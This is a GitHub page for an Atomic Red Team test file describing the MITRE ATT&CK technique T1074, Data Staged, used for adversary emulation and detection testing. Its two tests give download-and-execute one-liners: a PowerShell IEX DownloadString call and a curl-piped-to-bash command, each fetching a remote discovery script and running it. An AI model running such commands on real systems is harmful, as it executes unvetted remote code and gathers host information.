Skip to content

Latest commit

 

History

History
45 lines (25 loc) · 1.51 KB

T1074.md

File metadata and controls

45 lines (25 loc) · 1.51 KB
Raw

T1074 - Data Staged

Description from ATT&CK

Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).

Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Atomic Tests


Atomic Test #1 - Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file

Supported Platforms: Windows

Run it with powershell!

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat') > pi.log


Atomic Test #2 - Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

Supported Platforms: Linux, macOS

Run it with bash!

curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh | bash -s > /tmp/discovery.log